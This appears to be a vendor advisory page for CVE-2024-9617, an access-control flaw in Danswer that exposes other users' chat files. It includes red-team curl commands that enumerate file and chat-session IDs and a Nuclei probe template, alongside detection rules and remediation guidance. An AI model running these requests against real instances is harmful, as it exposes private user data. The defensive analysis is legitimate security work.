CVE-2024-9617
Executive Summary
CVE-2024-9617 is an Insecure Direct Object Reference (IDOR) vulnerability in danswer-ai/danswer v0.3.94. The flaw allows an authenticated attacker to view any user's files by directly calling the GET /api/chat/file/{file_id} endpoint without proper authorization checks. The application fails to verify that the requesting user is the owner of the file, leading to unauthorized disclosure of sensitive chat files and data. The vulnerability has a CVSS score of 6.5 (Medium) and a public proof-of-concept (Nuclei template) is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the open-source Python package danswer-ai/danswer. As of the latest analysis, no official patch has been released. Users are advised to monitor the official GitHub repository for updates and apply manual authorization checks as a temporary mitigation.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker must be authenticated
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires authentication but allows unauthorized access to any user's files, potentially exposing sensitive chat data.
Deep Dive & Mechanics
The vulnerability resides in the file retrieval endpoint /api/chat/file/{file_id}. The application does not enforce ownership checks, meaning an authenticated user can enumerate file_id values and access files belonging to other users. The Nuclei template confirms that the /api/chat/get-chat-session/1?is_shared=True endpoint also lacks proper authorization, returning chat session data without verifying the user's relationship to the session.
Root Cause: Missing authorization check in the backend logic for file and chat session retrieval. The code likely uses a direct database query without filtering by the authenticated user's ID.
Attack Flow:
- Attacker authenticates to the Danswer instance.
- Attacker sends a GET request to
/api/chat/file/{file_id}with a guessed or enumerated file ID. - The server returns the file content without verifying ownership.
- Attacker can also use
/api/chat/get-chat-session/{session_id}?is_shared=Trueto retrieve chat session metadata.
Vulnerable vs. Patched Code
Vulnerable Code (v0.3.94):
# No ownership check
@app.get("/api/chat/file/{file_id}")
async def get_file(file_id: int, user: User = Depends(get_current_user)):
file = db.query(File).filter(File.id == file_id).first()
return FileResponse(file.path)
Patched Code (Hypothetical):
@app.get("/api/chat/file/{file_id}")
async def get_file(file_id: int, user: User = Depends(get_current_user)):
file = db.query(File).filter(File.id == file_id, File.owner_id == user.id).first()
if not file:
raise HTTPException(status_code=404, detail="File not found")
return FileResponse(file.path)
The patched version adds a filter to ensure the file's owner_id matches the authenticated user's ID.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Danswer instance (v0.3.94)
- Valid user credentials
Exploitation Steps:
- Authenticate and obtain a session token.
- Enumerate file IDs (e.g., 1, 2, 3, ...) using the following curl command:
curl -X GET "http://target:port/api/chat/file/1" -H "Authorization: Bearer <token>" - If the response returns file content, the vulnerability is confirmed.
- For chat session enumeration:
curl -X GET "http://target:port/api/chat/get-chat-session/1?is_shared=True" -H "Authorization: Bearer <token>"
Nuclei Template Usage:
nuclei -t CVE-2024-9617.yaml -u http://target:port
Blue Team
Detection Steps:
- Monitor logs for repeated GET requests to
/api/chat/file/with sequential or unusual file IDs. - Alert on multiple 200 responses to
/api/chat/get-chat-session/endpoints from the same user. - Implement rate limiting on file retrieval endpoints.
- Review access logs for unauthorized file access patterns.
Hunting Query:
SELECT * FROM access_logs
WHERE endpoint LIKE '/api/chat/file/%'
AND user_id != file_owner_id;
Indicators of Compromise (IOCs)
- Endpoint:
/api/chat/file/{file_id}(GET) - Endpoint:
/api/chat/get-chat-session/{session_id}?is_shared=True(GET) - HTTP Status Code: 200 (successful unauthorized access)
- Response Body: Contains file content or chat session JSON data
- User Agent: Any standard HTTP client (e.g., curl, Python requests)
- Source IP: Attacker's IP address
Detection Engineering
YARA Rule
rule CVE_2024_9617_IDOR_Access {
meta:
description = "Detects attempts to exploit CVE-2024-9617 IDOR in Danswer"
author = "Valters IT"
date = "2024-10-27"
reference = "https://huntr.com/bounties/8f683ff6-3a99-41c6-b763-a8f7b73bd146"
strings:
$endpoint1 = "/api/chat/file/"
$endpoint2 = "/api/chat/get-chat-session/"
$param = "is_shared=True"
condition:
any of ($endpoint*) and $param
}
Sigma Rule
title: Danswer IDOR Exploitation Attempt
id: 8f683ff6-3a99-41c6-b763-a8f7b73bd146
status: experimental
description: Detects attempts to exploit CVE-2024-9617 by accessing unauthorized files or chat sessions.
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-stem:
- '/api/chat/file/*'
- '/api/chat/get-chat-session/*'
cs-uri-query: 'is_shared=True'
condition: selection
falsepositives:
- Legitimate shared session access
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9617 Danswer IDOR Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/chat/file/"; http_uri; content:"/api/chat/get-chat-session/"; http_uri; content:"is_shared=True"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2024-9617
info:
name: Danswer - Insecure Direct Object Reference
author: s4e-io
severity: medium
description: |
The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.
impact: |
Authenticated attackers can access and view files belonging to other users without proper authorization checks through insecure direct object references, leading to unauthorized disclosure of sensitive chat files and data.
remediation: |
Update Danswer to a version that implements proper authorization checks to verify file ownership before allowing access through the GET /api/chat/file/{file_id} and GET /api/chat/get-chat-session endpoints.
reference:
- https://huntr.com/bounties/8f683ff6-3a99-41c6-b763-a8f7b73bd146
- https://github.com/danswer-ai/danswer
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2024-9617
cwe-id: CWE-284
epss-score: 0.15556
epss-percentile: 0.94708
metadata:
verified: true
max-request: 1
vendor: danswer-ai
product: danswer
fofa-query: icon_hash="484766002"
tags: cve,cve2024,danswer,idor,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/chat/get-chat-session/1?is_shared=True"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "chat_session_id", "description", "persona_id")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
# digest: 490a00463044022027e92a79ecd3f75a5b37cecaa0c6a33b652f877945e0e8d7a92bf59dbad0c77f02204be7440568030b63f0e08d7b77fdca8a101fcedd30e7deb3c8365c4186cd2a27:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Implement authorization checks on
/api/chat/file/{file_id}and/api/chat/get-chat-session/{session_id}endpoints to verify file/session ownership. - Apply input validation to ensure
file_idandsession_idare integers and within expected ranges. - Enable logging and monitoring for suspicious access patterns.
Long-term Fix:
- Update to a patched version once released by the vendor.
- Conduct a security audit of all API endpoints for similar IDOR vulnerabilities.
- Implement role-based access control (RBAC) for file and session management.
Workaround:
- If patching is not immediately possible, restrict access to the vulnerable endpoints via a Web Application Firewall (WAF) or reverse proxy, allowing only trusted IPs.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: C32C921BB51B096BBA1DE68D] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.